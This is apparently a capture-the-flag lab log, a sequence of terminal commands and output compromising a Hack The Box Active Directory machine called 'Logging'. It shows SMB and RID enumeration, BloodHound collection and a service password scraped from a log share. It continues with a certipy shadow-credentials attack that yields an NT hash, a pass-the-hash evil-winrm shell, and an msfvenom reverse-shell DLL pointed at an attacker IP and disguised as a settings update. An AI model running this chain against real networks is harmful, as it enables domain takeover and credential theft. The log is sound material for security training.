SMB         10.129.32.107   445    DC01             Share           Permissions     Remark
SMB         10.129.32.107   445    DC01             -----           -----------     ------
SMB         10.129.32.107   445    DC01             ADMIN$                          Remote Admin
SMB         10.129.32.107   445    DC01             C$                              Default share
SMB         10.129.32.107   445    DC01             IPC$            READ            Remote IPC
SMB         10.129.32.107   445    DC01             Logs            READ
SMB         10.129.32.107   445    DC01             NETLOGON        READ            Logon server share
SMB         10.129.32.107   445    DC01             SYSVOL          READ            Logon server share
SMB         10.129.32.107   445    DC01             WSUSTemp                        A network share used by Local Publishing from a Remote WSUS Console Instance.

┌──(kali㉿kali)-[~/Eth3real/HTB/Labs]
└─$ nxc smb 10.129.32.107 -u wallace.everette -p 'Welcome2026@' --rid-brute
SMB         10.129.32.107   445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:logging.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.129.32.107   445    DC01             [+] logging.htb\wallace.everette:Welcome2026@
SMB         10.129.32.107   445    DC01             498: logging\Enterprise Read-only Domain Controllers (SidTypeGroup)
SMB         10.129.32.107   445    DC01             500: logging\Administrator (SidTypeUser)
SMB         10.129.32.107   445    DC01             501: logging\Guest (SidTypeUser)
SMB         10.129.32.107   445    DC01             502: logging\krbtgt (SidTypeUser)
SMB         10.129.32.107   445    DC01             512: logging\Domain Admins (SidTypeGroup)
SMB         10.129.32.107   445    DC01             513: logging\Domain Users (SidTypeGroup)
SMB         10.129.32.107   445    DC01             514: logging\Domain Guests (SidTypeGroup)
SMB         10.129.32.107   445    DC01             515: logging\Domain Computers (SidTypeGroup)
SMB         10.129.32.107   445    DC01             516: logging\Domain Controllers (SidTypeGroup)
SMB         10.129.32.107   445    DC01             517: logging\Cert Publishers (SidTypeAlias)
SMB         10.129.32.107   445    DC01             518: logging\Schema Admins (SidTypeGroup)
SMB         10.129.32.107   445    DC01             519: logging\Enterprise Admins (SidTypeGroup)
SMB         10.129.32.107   445    DC01             520: logging\Group Policy Creator Owners (SidTypeGroup)
SMB         10.129.32.107   445    DC01             521: logging\Read-only Domain Controllers (SidTypeGroup)
SMB         10.129.32.107   445    DC01             522: logging\Cloneable Domain Controllers (SidTypeGroup)
SMB         10.129.32.107   445    DC01             525: logging\Protected Users (SidTypeGroup)
SMB         10.129.32.107   445    DC01             526: logging\Key Admins (SidTypeGroup)
SMB         10.129.32.107   445    DC01             527: logging\Enterprise Key Admins (SidTypeGroup)
SMB         10.129.32.107   445    DC01             553: logging\RAS and IAS Servers (SidTypeAlias)
SMB         10.129.32.107   445    DC01             571: logging\Allowed RODC Password Replication Group (SidTypeAlias)
SMB         10.129.32.107   445    DC01             572: logging\Denied RODC Password Replication Group (SidTypeAlias)
SMB         10.129.32.107   445    DC01             1000: logging\DC01$ (SidTypeUser)
SMB         10.129.32.107   445    DC01             1101: logging\DnsAdmins (SidTypeAlias)
SMB         10.129.32.107   445    DC01             1102: logging\DnsUpdateProxy (SidTypeGroup)
SMB         10.129.32.107   445    DC01             2101: logging\Emergency Recovery (SidTypeGroup)
SMB         10.129.32.107   445    DC01             2102: logging\IT (SidTypeGroup)
SMB         10.129.32.107   445    DC01             2103: logging\HR (SidTypeGroup)
SMB         10.129.32.107   445    DC01             2104: logging\svc_recovery (SidTypeUser)
SMB         10.129.32.107   445    DC01             2105: logging\jaylee.clifton (SidTypeUser)
SMB         10.129.32.107   445    DC01             2106: logging\monique.chip (SidTypeUser)
SMB         10.129.32.107   445    DC01             2107: logging\kyson.abel (SidTypeUser)
SMB         10.129.32.107   445    DC01             2108: logging\fable.milford (SidTypeUser)
SMB         10.129.32.107   445    DC01             2109: logging\wellington.kylan (SidTypeUser)
SMB         10.129.32.107   445    DC01             2110: logging\serina.philander (SidTypeUser)
SMB         10.129.32.107   445    DC01             2111: logging\wallace.everette (SidTypeUser)
SMB         10.129.32.107   445    DC01             2112: logging\toby.brynleigh (SidTypeUser)
SMB         10.129.32.107   445    DC01             2113: logging\msa_health$ (SidTypeUser)
SMB         10.129.32.107   445    DC01             2601: logging\WSUS Administrators (SidTypeAlias)
SMB         10.129.32.107   445    DC01             2602: logging\WSUS Reporters (SidTypeAlias)
{% code overflow="wrap" %} ``` ┌──(kali㉿kali)-[~/Eth3real/HTB/Labs/Logging] └─$ ldapdomaindump -u 'logging.htb\wallace.everette' -p 'Welcome2026@' 10.129.32.107 -o ldap_dump --no-json --no-grep [*] Connecting to host... [*] Binding to host [+] Bind OK [*] Starting domain dump [+] Domain dump finished ``` {% endcode %} ``` └─$ bloodhound-python -d logging.htb -u wallace.everette -p 'Welcome2026@' -ns 10.129.32.107 -c all --zip INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3) INFO: Found AD domain: logging.htb INFO: Getting TGT for user INFO: Connecting to LDAP server: dc01.logging.htb INFO: Found 1 domains INFO: Found 1 domains in the forest INFO: Found 1 computers INFO: Connecting to LDAP server: dc01.logging.htb INFO: Found 14 users INFO: Found 57 groups INFO: Found 2 gpos INFO: Found 1 ous INFO: Found 19 containers INFO: Found 0 trusts INFO: Starting computer enumeration with 10 workers INFO: Querying computer: DC01.logging.htb INFO: Done in 00M 28S INFO: Compressing output into 20260419132741_bloodhound.zip ``` {% code overflow="wrap" %} ``` ┌──(kali㉿kali)-[~/Eth3real/HTB/Labs/Logging] └─$ smbclient //logging.htb/Logs -U wallace.everette Password for [WORKGROUP\wallace.everette]: Try "help" to get a list of possible commands. smb: \> ls . D 0 Thu Apr 16 19:10:09 2026 .. D 0 Thu Apr 16 19:10:09 2026 Audit_Heartbeat.log A 1294 Thu Apr 16 19:10:09 2026 IdentitySync_Trace_20260219.log A 8488 Thu Apr 16 19:10:09 2026 Service_State.log A 468 Thu Apr 16 19:10:09 2026 TaskMonitor.log A 1170 Thu Apr 16 19:10:09 2026 6657279 blocks of size 4096. 1033204 blocks available smb: \> get * NT_STATUS_OBJECT_NAME_INVALID opening remote file \* smb: \> get Audit_Heartbeat.log getting file \Audit_Heartbeat.log of size 1294 as Audit_Heartbeat.log (2.3 KiloBytes/sec) (average 2.3 KiloBytes/sec) smb: \> get IdentitySync_Trace_20260219.log getting file \IdentitySync_Trace_20260219.log of size 8488 as IdentitySync_Trace_20260219.log (14.4 KiloBytes/sec) (average 8.4 KiloBytes/sec) smb: \> get Service_State.log getting file \Service_State.log of size 468 as Service_State.log (0.8 KiloBytes/sec) (average 5.9 KiloBytes/sec) smb: \> get TaskMonitor.log getting file \TaskMonitor.log of size 1170 as TaskMonitor.log (2.0 KiloBytes/sec) (average 5.0 KiloBytes/sec) ``` {% endcode %} {% code overflow="wrap" %} ``` ┌──(kali㉿kali)-[~/Eth3real/HTB/Labs/Logging] └─$ cat IdentitySync_Trace_20260219.log| grep -i pass [2026-02-09 03:00:03.125] [PID:4102] [Thread:04] VERBOSE - ConnectionContext Dump: { Domain: "logging.htb", Server: "DC01", SSL: "False", BindUser: "LOGGING\svc_recovery", BindPass: "Em3rg3ncyPa$$2025", Timeout: 30 } ``` {% endcode %} ``` ┌──(kali㉿kali)-[~/Eth3real/HTB/Labs/Logging] └─$ nxc winrm 10.129.1.40 -u svc_recovery -p 'Em3rg3ncyPa$$2026' WINRM 10.129.1.40 5985 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:logging.htb) WINRM 10.129.1.40 5985 DC01 [-] logging.htb\svc_recovery:Em3rg3ncyPa$$2026 ``` ``` ┌──(kali㉿kali)-[~/Eth3real/HTB/Labs/Logging] └─$ impacket-getTGT 'logging.htb/svc_recovery:Em3rg3ncyPa$$2026' Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies [*] Saving ticket in svc_recovery.ccache ``` ``` export KRB5CCNAME="$PWD/svc_recovery.ccache" echo $KRB5CCNAME /home/kali/Eth3real/HTB/Labs/Logging/svc_recovery.ccache ``` ``` ┌──(kali㉿kali)-[~/Eth3real/HTB/Labs/Logging] └─$ certipy-ad shadow auto \ -k \ -no-pass \ -u svc_recovery \ -account 'msa_health$' \ -dc-host dc01.logging.htb Certipy v5.0.4 - by Oliver Lyak (ly4k) [!] Target name (-target) not specified and Kerberos authentication is used. This might fail [!] DNS resolution failed: The DNS query name does not exist: dc01.logging.htb. [!] Use -debug to print a stacktrace [*] Targeting user 'msa_health$' [*] Generating certificate [*] Certificate generated [*] Generating Key Credential [*] Key Credential generated with DeviceID '25a069c36837454ca63431eb0d0ea014' [*] Adding Key Credential with device ID '25a069c36837454ca63431eb0d0ea014' to the Key Credentials for 'msa_health$' [*] Successfully added Key Credential with device ID '25a069c36837454ca63431eb0d0ea014' to the Key Credentials for 'msa_health$' [*] Authenticating as 'msa_health$' with the certificate [*] Certificate identities: [*] No identities found in this certificate [*] Using principal: 'msa_health$@logging.htb' [*] Trying to get TGT... [*] Got TGT [*] Saving credential cache to 'msa_health.ccache' File 'msa_health.ccache' already exists. Overwrite? (y/n - saying no will save with a unique filename): n [*] Wrote credential cache to 'msa_health_bf2be9e8-4951-445a-808d-e50f25448648.ccache' [*] Trying to retrieve NT hash for 'msa_health$' [*] Restoring the old Key Credentials for 'msa_health$' [*] Successfully restored the old Key Credentials for 'msa_health$' [*] NT hash for 'msa_health$': 603fc24ee01a9409f83c9d1d701485c5 ``` ``` ┌──(kali㉿kali)-[~/Eth3real/HTB/Labs/Logging] └─$ evil-winrm -i 10.129.3.166 -u msa_health$ -H 603fc24ee01a9409f83c9d1d701485c5 Evil-WinRM shell v3.9 Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion Info: Establishing connection to remote endpoint *Evil-WinRM* PS C:\Users\msa_health$\Documents> whoami logging\msa_health$ *Evil-WinRM* PS C:\Users\msa_health$\Documents> ``` {% code overflow="wrap" %} ``` *Evil-WinRM* PS C:\program files\Updatemonitor> ./updatemonitor.exe [2026-06-03 13:50:58] Starting Sentinel Update Check... [2026-06-03 13:50:58] Checking for update on core server... [2026-06-03 13:50:58] Info: Core did not find file Settings_Update.zip [2026-06-03 13:50:58] Last status: File not found on core [2026-06-03 13:50:58] Checking for update on local server... [2026-06-03 13:50:58] No updates found locally: C:\ProgramData\UpdateMonitor\Settings_Update.zip. [2026-06-03 13:50:58] Loading update applier: C:\Program Files\UpdateMonitor\bin\settings_update.dll [2026-06-03 13:50:58] Failed to load settings_update.dll. Error code: 126 [2026-06-03 13:50:58] Update check completed. ``` {% endcode %}
{% code overflow="wrap" %} ``` ┌──(kali㉿kali)-[~/Eth3real/HTB/Labs/Logging] └─$ msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.46 LPORT=4444 -f dll > settings_update.dll [-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload [-] No arch selected, selecting arch: x86 from the payload No encoder specified, outputting raw payload Payload size: 324 bytes Final size of dll file: 9216 bytes ┌──(kali㉿kali)-[~/Eth3real/HTB/Labs/Logging] └─$ zip Settings_Update.zip settings_update.dll updating: settings_update.dll (deflated 82%) ``` {% endcode %}